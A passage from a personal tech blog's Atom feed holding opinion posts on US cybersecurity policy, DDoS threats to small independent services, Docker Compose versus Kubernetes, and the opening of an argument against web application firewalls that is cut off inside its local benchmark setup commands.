&lt;p&gt;Now go back to the &lt;a href=&quot;https:&#x2F;&#x2F;www.propublica.org&#x2F;article&#x2F;microsoft-solarwinds-golden-saml-data-breach-russian-hackers&quot;&gt;ProPublica article&lt;&#x2F;a&gt;. It&#x27;s a story about Microsoft prioritizing greed over security, leading to one of the biggest hacks to ever affect the US government—a government that turned a blind eye to their growing unaccountable power for almost two decades.&lt;&#x2F;p&gt;
&lt;p&gt;Another point was that the 2003 document wanted to use the government procurement process to incentivize security, all carrot and no stick:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;(2003) With respect to investment in cyberspace security, government can lead by example by fostering a marketplace for more secure technologies through large procurements of advanced information assurance technologies.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;And look where that strategy got us:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;(2024) The federal government was preparing to make a massive investment in cloud computing, and Microsoft wanted the business. Acknowledging this security flaw could jeopardize the company’s chances, Harris recalled one product leader telling him. The financial consequences were enormous. Not only could Microsoft lose a multibillion-dollar deal, but it could also lose the race to dominate the market for cloud computing.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;Halfway through writing this article, I saw someone who is much more qualified already wrote a much more thorough analysis of presidential cybersecurity stratigies over the years, which I highly recommend: &lt;a href=&quot;https:&#x2F;&#x2F;www.lawfaremedia.org&#x2F;article&#x2F;twenty-five-years-of-white-house-cyber-policies&quot;&gt;https:&#x2F;&#x2F;www.lawfaremedia.org&#x2F;article&#x2F;twenty-five-years-of-white-house-cyber-policies&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;I struggle to conclude articles, so I&#x27;ll just quote that one:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The authors of those earliest strategies never expected success to take more than 25 years ([the Clinton administration] called for success &quot;no later than five years from today&quot;), yet here we are. With the important changes in the 2023 National Cybersecurity Strategy—and the implementation plan currently being drafted in the Office of the National Cyber Director—hopefully, success won’t take another 25 years.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>DDoS attacks can threaten the independent Internet</title>
        <published>2024-06-15T00:00:00+00:00</published>
        <updated>2024-06-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2024/ddos-attacks/"/>
        <id>https://www.macchaffee.com/blog/2024/ddos-attacks/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2024/ddos-attacks/">&lt;p&gt;Back in January &lt;a href=&quot;https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=38959762&quot;&gt;SourceHut and Codeberg both experienced a distributed denial of service (DDoS) attack&lt;&#x2F;a&gt;. That attack made me worried about the future of the small, independent Internet: services like SourceHut and Codeberg which do not use the oligopoly of large hosting providers.&lt;&#x2F;p&gt;
&lt;p&gt;DDoS attacks are where an attacker controls a bunch of computers (usually a botnet of hacked devices with residential IPs) and directs every computer to send traffic to a target set of servers, knocking the target offline. Attackers might use amplification methods or exploit vulnerable protocols (like &lt;a href=&quot;https:&#x2F;&#x2F;blog.cloudflare.com&#x2F;technical-breakdown-http2-rapid-reset-ddos-attack&#x2F;&quot;&gt;Rapid Reset&lt;&#x2F;a&gt; in HTTP2), but let&#x27;s set those aside. I&#x27;m talking about the simplest case of a couple thousand IoT toasters sending millions of packets per second to your server.&lt;&#x2F;p&gt;
&lt;p&gt;If you are at the receiving end of an attack like that, you can no longer participate in the small, independent Internet. You are forced to seek shelter behind a large enterprise with enough capital to afford the hardware and software to absorb the attack. Bigger attacks require using a bigger provider. Some providers have decent economies of scale to amortize the cost of DDoS protection (OVH), but others may charge you exorbitantly, much more than a single individual can afford.&lt;&#x2F;p&gt;
&lt;p&gt;The heads of big cloud providers are not democratically elected. Their terms of service aren&#x27;t written by the people, for the people. There are no checks and balances for their actions. But the fact remains that the only real mitigation against a DDoS attack is to hide behind a big expensive server run by one of these providers.&lt;&#x2F;p&gt;
&lt;p&gt;This is pretty scary to me. Lots of groups from home labbers to grassroots movements need the ability to put services on the Internet, but do not have the ongoing income to rent cloud servers plus associated DDoS protection. Others don&#x27;t even have the option of using cloud-based products due to the risks of de-anonymization (this is your daily reminder that &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;FBI%E2%80%93King_suicide_letter&quot;&gt;the FBI tried to get MLK killed&lt;&#x2F;a&gt;), export controls, or terms of service violations.&lt;&#x2F;p&gt;
&lt;p&gt;Seems that participants of the small, independent Internet largely ignore the threat of a DDoS attack, until the moment one happens. A DDoS attack on an artist&#x27;s portfolio site is probably not useful, but if you instead target a Matrix instance used during a protest, or an informative site with stuff a despotic government doesn&#x27;t like, you can completely debilitate those. Like I said: pretty scary.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;why-not-just-use-cloudflare-akamai-fastly-lol&quot;&gt;Why not just use Cloudflare&#x2F;Akamai&#x2F;Fastly lol?&lt;&#x2F;h2&gt;
&lt;p&gt;Let&#x27;s say you aren&#x27;t likely to be blackmailed by the FBI or kicked off the platform and you have easy access to a credit card. Why not just use Cloudflare&#x2F;Akamai&#x2F;Fastly?&lt;&#x2F;p&gt;
&lt;p&gt;These providers all work essentially the same way. They use a proprietary algorithm that allegedly does a good job of differentiating &quot;good&quot; traffic from &quot;bad&quot; traffic. Then they drop all the &quot;bad&quot; traffic and block the sender IPs (with a CAPTCHA) for an unknown amount of time. But this approach has a considerable drawback that is never discussed in the breathlessly-positive blog posts that these companies pump out: false-positives are common, catastrophic, and negligently ignored.&lt;&#x2F;p&gt;
&lt;p&gt;At the scale Cloudflare&#x2F;Akamai&#x2F;Fastly operate, &quot;rare&quot; events like a single-digit false-postive rate can affect thousands of people who have no recourse. Each of these companies serves so many websites that &lt;a href=&quot;https:&#x2F;&#x2F;www.ctrl.blog&#x2F;entry&#x2F;cloudflare-ip-blockade.html&quot;&gt;getting on their &quot;naughty list&quot; can have devestating consequences to your ability to use the internet, with no recourse&lt;&#x2F;a&gt;. Sure you can solve CAPTCHAs to get through, but many apps and websites make background HTTP requests which will simply fail if they receive a CAPTCHA page in the response body.&lt;&#x2F;p&gt;
&lt;p&gt;To make matters worse, we don&#x27;t even know the false-positive rates of these companies. It&#x27;s not even possible to know since there is no &quot;ground truth&quot; for whether a given blocked IP address was being used by a real person or a botnet node (or it could be both on the same NAT&#x27;d network). When a company blog post says they &quot;mitigated&quot; some super large DDoS attack, there is literally no way to know how many innocent bystanders were also blocked in the process.&lt;&#x2F;p&gt;
&lt;p&gt;We need DDoS solutions that are not stochastic torture devices.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;then-what-do-we-do&quot;&gt;Then what do we do?&lt;&#x2F;h2&gt;
&lt;p&gt;Here&#x27;s the part of my post where I&#x27;d normally point to some lesser-known but promising effort to solve the problem, but sadly I don&#x27;t see one for DDoS attacks. Usually the real solutions are easy to find: all the CDN providers and DDoS scrubbing services are certainly not interested in fully solving the problem, because they&#x27;d lose a lot of money. So usually there are community- or university-driven efforts that actually solve the problem. But I didn&#x27;t see much. Seems this problem&#x27;s a tough nut to crack.&lt;&#x2F;p&gt;
&lt;p&gt;Two things do exist, but they&#x27;re not real solutions in my opinion:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Forcing clients to do proof-of-work stuff: Obviously not a solution since this is backwards-incompatible with every networking-enabled device on the planet.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;wiki.ietf.org&#x2F;group&#x2F;dots&quot;&gt;DDoS Open Threat Signaling&lt;&#x2F;a&gt; (DOTS): An IETF RFC which standardizes the architecture for how servers can share IP&#x2F;proto&#x2F;port block-lists. A nice thing to have so that every DDoS protection company doesn&#x27;t go invent their own proprietary thing, but doesn&#x27;t fundamentally solve the problem of DDoS attacks.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;If I had to think of a solution off-the-cuff, maybe an extension to DOTS that allows setting (and dynamically changing) max flow rates. Like &quot;this IP:port is a tiny email server, so tell every ISP that if they see more than 10 different source IPs flowing to me in one second I&#x27;m probably being DDoS&#x27;d&quot;. I dunno.&lt;&#x2F;p&gt;
&lt;p&gt;Unfortunately I&#x27;m not seeing anything else. If you work in this space, please prove me wrong!&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;em&gt;EDIT 2024-06-19:&lt;&#x2F;em&gt; &lt;a href=&quot;https:&#x2F;&#x2F;lobste.rs&#x2F;s&#x2F;usnqdc&#x2F;ddos_attacks_can_threaten_independent#c_llrfqj&quot;&gt;zimbatm&lt;&#x2F;a&gt; kindly provided some smaller alternative anti-DDoS companies: &lt;a href=&quot;https:&#x2F;&#x2F;www.voxility.com&#x2F;&quot;&gt;Voxility&lt;&#x2F;a&gt;, &lt;a href=&quot;https:&#x2F;&#x2F;path.net&#x2F;&quot;&gt;Path.net&lt;&#x2F;a&gt;, and &lt;a href=&quot;https:&#x2F;&#x2F;www.reblaze.com&#x2F;&quot;&gt;Reblaze&lt;&#x2F;a&gt;. I also found &lt;a href=&quot;https:&#x2F;&#x2F;deflect.ca&#x2F;&quot;&gt;Deflect&lt;&#x2F;a&gt;. They also mentioned &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;SCION_(Internet_architecture)&quot;&gt;SCION&lt;&#x2F;a&gt; as a project that includes DDoS mitigation in its design. Another victory for &lt;a href=&quot;https:&#x2F;&#x2F;meta.wikimedia.org&#x2F;wiki&#x2F;Cunningham%27s_Law&quot;&gt;Cunningham&#x27;s Law&lt;&#x2F;a&gt;!&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Is there room for Docker Compose in a Kubernetes world?</title>
        <published>2024-01-20T00:00:00+00:00</published>
        <updated>2024-01-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2024/docker-compose/"/>
        <id>https://www.macchaffee.com/blog/2024/docker-compose/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2024/docker-compose/">&lt;p&gt;Last year I left &lt;a href=&quot;https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=35327743&quot;&gt;a comment on HN&lt;&#x2F;a&gt; about Docker Compose that seemed to get some traction. I was complaining about how both Docker Compose and Kubernetes are leaky abstractions over infrastructure. My general stance is that the Kubernetes API, despite its vast complexity, allows you to describe like 99.9% of modern applications. All attempts to simplify that API surface (such as Docker Compose&#x27;s simpler syntax) result in leakier abstractions that are more limiting. That&#x27;s fine if you can squeeze all your applications into smaller standardized boxes, but that&#x27;s a lot of work. Does this mean there&#x27;s no room in this space for Docker Compose? No, I think it still can serve a niche.&lt;&#x2F;p&gt;
&lt;p&gt;My background is that I worked as a software engineer for 2 years before moving to DevOps for the last 3+ years. Now I&#x27;m kind of a platform engineer with a focus on security and site reliability. I also heavily use Kubernetes and I&#x27;m one of those weirdos that &lt;em&gt;wants&lt;&#x2F;em&gt; it to continue &quot;eating the world&quot;, since I think it&#x27;s good enough and it sure beats having to learn ten different container orchestrators. So my bias towards Kubernetes will definitely show through here.&lt;&#x2F;p&gt;
&lt;p&gt;I&#x27;ve used Compose in two places: as a development environment for multi-container apps (that run on Kubernetes in production), and as a deployment method on single VMs.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;docker-compose-as-a-development-environment&quot;&gt;Docker Compose as a development environment&lt;&#x2F;h3&gt;
&lt;p&gt;When using Compose as a development environment, its strength is its simplicity and terseness. You can describe a web app, a database, and a cache in just a few dozen lines of yaml thanks to sane defaults. But there are a few pain points:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Live-reloading is needed, but setting it up under Compose can be a chore.&lt;&#x2F;strong&gt; You have to have a volume-mount to the right path inside and outside the container, and you have to configure Docker to allow bind-mounts in your code directory. Also maybe this is fixed now, but Docker used to have long-standing performance issues with IO to bind-mounted volumes on macOS. Not good for parsing a giant node_modules folder. If your programming language doesn&#x27;t support live-reloading, crafting a Dockerfile to be cache-friendly is also an annoying art form.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Lack of dev&#x2F;prod parity when deploying to Kubernetes.&lt;&#x2F;strong&gt; For a non-trivial application, maintaining both a docker-compose file and a helm chart is a lot of work, with a high chance of missing bugs until they land in production. Like having different health probe logic, presence or absence of resource limits, different methods of service discovery, and no access to the Kubernetes API during development.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Leaks in the abstraction.&lt;&#x2F;strong&gt; Kinda like I mentioned in my HN comment, as soon as you need to do something non-trivial, you have to learn too much about Compose&#x27;s inner workings. One example is anything that doesn&#x27;t work in the default networking model. But this is just a super hard, unsolved problem across the entire industry.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;docker-compose-as-a-deployment-method&quot;&gt;Docker Compose as a deployment method&lt;&#x2F;h3&gt;
&lt;p&gt;When using Compose as a deployment method, again its strength is simplicity. Just install docker, scp the docker-compose file, and start it. The pain points here are:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Single-node only.&lt;&#x2F;strong&gt; Many apps never reach a point where they need more than one node, but having to either rip out your entire existing deployment method or invest in Swarm are not good options. With no potential for high availability, Compose-based deployments strike me as temporary&#x2F;not truly production-ready.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Security issues.&lt;&#x2F;strong&gt; Docker automatically punches holes in the local firewall, which is very convenient for users and hackers alike. Compose seems to be lacking some of the items you can specify in a Kubernetes securityContext that are now considered best-practice, like readOnlyRootFileSystem, seccomp profiles, and runAsUser. Also the docker socket badly needs more fine-grained permissions.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Limited functionality.&lt;&#x2F;strong&gt; Without the abstractions that e.g. Kubernetes provides for ingress, storage classes, interaction with hardware like GPUs, and extensibility via CRDs, production apps are left with limited ability to adapt to production pressures.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Weaker ecosystem.&lt;&#x2F;strong&gt; Every non-trivial production app needs a constellation of supporting services such as logging, monitoring, security tools, backup solutions, CI&#x2F;CD tools, and more. In the Kubernetes ecosystem, there are cutting-edge FOSS solutions to each of those problems that can be installed with a single &lt;code&gt;helm install&lt;&#x2F;code&gt; or &lt;code&gt;kubectl apply&lt;&#x2F;code&gt; command.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;what-do-i-think-docker-compose-as-a-product-should-focus-on-now&quot;&gt;What do I think Docker Compose (as a product) should focus on now?&lt;&#x2F;h3&gt;
&lt;p&gt;To me, Compose as a product seems stuck in this constant tug-of-war between needing to retain its simplicity while simultaneously being a good development environment AND being a good deployment method. Given all these pain points, I don&#x27;t think it can succeed at all those goals since they are pretty much in conflict with one another, but I could see Compose choosing one of two paths at this crossroads.&lt;&#x2F;p&gt;
&lt;p&gt;I could see Compose choosing to be &quot;a really good development environment&quot; by doing things like:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Deeply integrating with major programming languages to make live-reloading easier (I just now learned about &lt;a href=&quot;https:&#x2F;&#x2F;docs.docker.com&#x2F;compose&#x2F;file-watch&#x2F;&quot;&gt;&lt;code&gt;watch&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; which seems to be a step in the right direction.)&lt;&#x2F;li&gt;
&lt;li&gt;Deeply integrating with Kubernetes, like providing automatic conversion to and from Kubernetes manifests or helm charts (&lt;a href=&quot;https:&#x2F;&#x2F;kompose.io&#x2F;&quot;&gt;kompose&lt;&#x2F;a&gt; has a LONG way to go).&lt;&#x2F;li&gt;
&lt;li&gt;Having a feature like &lt;a href=&quot;https:&#x2F;&#x2F;www.getambassador.io&#x2F;docs&#x2F;telepresence&#x2F;latest&#x2F;docker&#x2F;compose&quot;&gt;Telepresence&lt;&#x2F;a&gt; where I can run &lt;code&gt;docker-compose up -d&lt;&#x2F;code&gt; and have the containers act as if they are inside of a real remote Kubernetes cluster that is properly configured to match production.&lt;&#x2F;li&gt;
&lt;li&gt;A long shot but: maybe addressing the fact that docker-based development environments often &quot;rot&quot; since builds aren&#x27;t fully reproducible. Taking some inspiration from Nix while retaining the simplicity Compose is known for would be a game changer.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;I could also see Compose choosing to be &quot;a really good deployment method&quot;, but not having a good multi-node solution and having to fight with Kubernetes for room in this space seems unwise to me. Also, being a really good deployment method is the least compatible with simplicity, which is Compose&#x27;s most important differentiator IMO.&lt;&#x2F;p&gt;
&lt;p&gt;Anyway, that concludes my scattered thoughts on Docker Compose and where it fits into the modern developer&#x27;s tool belt (a tool belt that is increasingly Kubernetes-branded). All I can say in conclusion is that I sure am glad I&#x27;m not a product manager! I&#x27;ve been reading &lt;a href=&quot;https:&#x2F;&#x2F;www.mironov.com&#x2F;&quot;&gt;Rich Mironov&#x27;s Product Bytes&lt;&#x2F;a&gt; and it sounds like &lt;a href=&quot;https:&#x2F;&#x2F;www.mironov.com&#x2F;pri-politics&#x2F;&quot;&gt;there&#x27;s a method to the madness&lt;&#x2F;a&gt; of feature prioritization without succumbing to &lt;a href=&quot;https:&#x2F;&#x2F;www.mironov.com&#x2F;sprawl&#x2F;&quot;&gt;product sprawl&lt;&#x2F;a&gt;. But I&#x27;m a naturally indecisive person, so I should really stay in my lane and let the actual product managers make these tough calls for me!&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Stop deploying web application firewalls</title>
        <published>2023-11-11T00:00:00+00:00</published>
        <updated>2023-11-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2023/wafs/"/>
        <id>https://www.macchaffee.com/blog/2023/wafs/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2023/wafs/">&lt;p&gt;I wanted to write this because I don&#x27;t hear enough real people discouraging the use of Web Application Firewalls (WAFs). Probably because the search results for &quot;Web Application Firewall&quot; are all written by WAF vendors. Anyone reading just that could conclude that WAFs are a good idea. I&#x27;m here to offer another perspective, after having suffered through using a WAF for two years.&lt;&#x2F;p&gt;
&lt;p&gt;Web Application Firewalls were created early in the Internet&#x27;s history, especially popularized by the &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;ModSecurity&quot;&gt;ModSecurity project in 2002&lt;&#x2F;a&gt;. WAFs essentially work by intercepting every single HTTP request (and sometimes responses too) and evaluating several hundred regular expressions over the URI, headers, and body, sometimes aided by machine learning. If the request kinda looks like SQL, shell code, etc., the server may block your request.&lt;&#x2F;p&gt;
&lt;p&gt;In the infancy of the cybersecurity field, WAFs seemed like a good idea. HTTP requests were tiny, infrequent, and mostly contained mundane form data. But today, WAFs have overstayed their welcome in the security toolbelt. There are better techniques you can use that make even the most advanced WAFs entirely obsolete.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Disclaimer update 2024: In this article, I&#x27;m objecting to using WAFs for their original purpose which was to mitigate common exploits like remote code execution, SQL injection, etc. With the rise of DDoS attacks, some cloud WAFs such as AWS WAFv2 or Cloudflare&#x27;s WAF are now the recommended way of implementing rate limits or fingerprinting and blocking denial of service attacks, which is a use-case I fully support.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;wafs-have-horrible-performance&quot;&gt;WAFs have Horrible Performance&lt;&#x2F;h2&gt;
&lt;p&gt;Since WAFs run hundreds of regular expressions on every request, you may ask, &quot;isn&#x27;t that super inefficient?&quot; Yes, very.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;WAF&lt;&#x2F;th&gt;&lt;th&gt;No WAF&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Average time taken to upload 9,462 text files&lt;&#x2F;td&gt;&lt;td&gt;7.36&lt;&#x2F;td&gt;&lt;td&gt;4.55&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Average requests per second&lt;&#x2F;td&gt;&lt;td&gt;1285&lt;&#x2F;td&gt;&lt;td&gt;2079&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Number of requests blocked erroneously&lt;&#x2F;td&gt;&lt;td&gt;5&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Peak nginx CPU during trial&lt;&#x2F;td&gt;&lt;td&gt;73%&lt;&#x2F;td&gt;&lt;td&gt;8%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;details&gt;
&lt;summary&gt;
&lt;em&gt;Specifics about the benchmark&lt;&#x2F;em&gt;
&lt;&#x2F;summary&gt;
&lt;hr&#x2F;&gt;
The easiest way I know to get modsecurity + CoreRuleSet installed is through ingress-nginx, which I&#x27;ve installed in a Kind cluster.
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# https:&#x2F;&#x2F;kind.sigs.k8s.io&#x2F;docs&#x2F;user&#x2F;quick-start&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cat &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;EOF &lt;&#x2F;span&gt;&lt;span&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;kind&lt;&#x2F;span&gt;&lt;span&gt; create cluster&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; --config&lt;&#x2F;span&gt;&lt;span&gt;=-
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;kind: Cluster
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;apiVersion: kind.x-k8s.io&#x2F;v1alpha4
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;nodes:
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;- role: control-plane
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;  extraPortMappings:
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;  - containerPort: 32080
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;    hostPort: 32080
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;    protocol: TCP
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;  - containerPort: 32443
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;    hostPort: 32443
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;    protocol: TCP
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;EOF
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# https:&#x2F;&#x2F;kubernetes.github.io&#x2F;ingress-nginx&#x2F;user-guide&#x2F;third-party-addons&#x2F;modsecurity&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;helm&lt;&#x2F;span&gt;&lt;span&gt; upgrade&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; --install&lt;&#x2F;span&gt;&lt;span&gt; ingress-nginx ingress-nginx \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  --repo&lt;&#x2F;span&gt;&lt;span&gt; https:&#x2F;&#x2F;kubernetes.github.io&#x2F;ingress-nginx \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  --namespace&lt;&#x2F;span&gt;&lt;span&gt; ingress-nginx&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; --create-namespace &lt;&#x2F;span&gt;&lt;span&gt;\
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  --set&lt;&#x2F;span&gt;&lt;span&gt; controller.service.type=NodePort \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  --set&lt;&#x2F;span&gt;&lt;span&gt; controller.service.nodePorts.https=32443 \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  --set&lt;&#x2F;span&gt;&lt;span&gt; controller.service.nodePorts.http=32080 \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  --set&lt;&#x2F;span&gt;&lt;span&gt; controller.ingressClassResource.default=true \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  --set&lt;&#x2F;span&gt;&lt;span&gt; controller.allowSnippetAnnotations=true
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;For the test, I&#x27;ll be uploading files to MinIO using these values:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;replicas&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;mode&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;standalone
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;resources&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;requests&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;memory&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;512Mi
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;persistence&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;enabled&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;false
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rootUser&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;rootuser
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rootPassword&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;rootpass123
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;buckets&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;  - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;bucket1
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;policy&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;none
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;purge&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;false
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ingress&lt;&#x2F;span&gt;&lt;span&gt;:
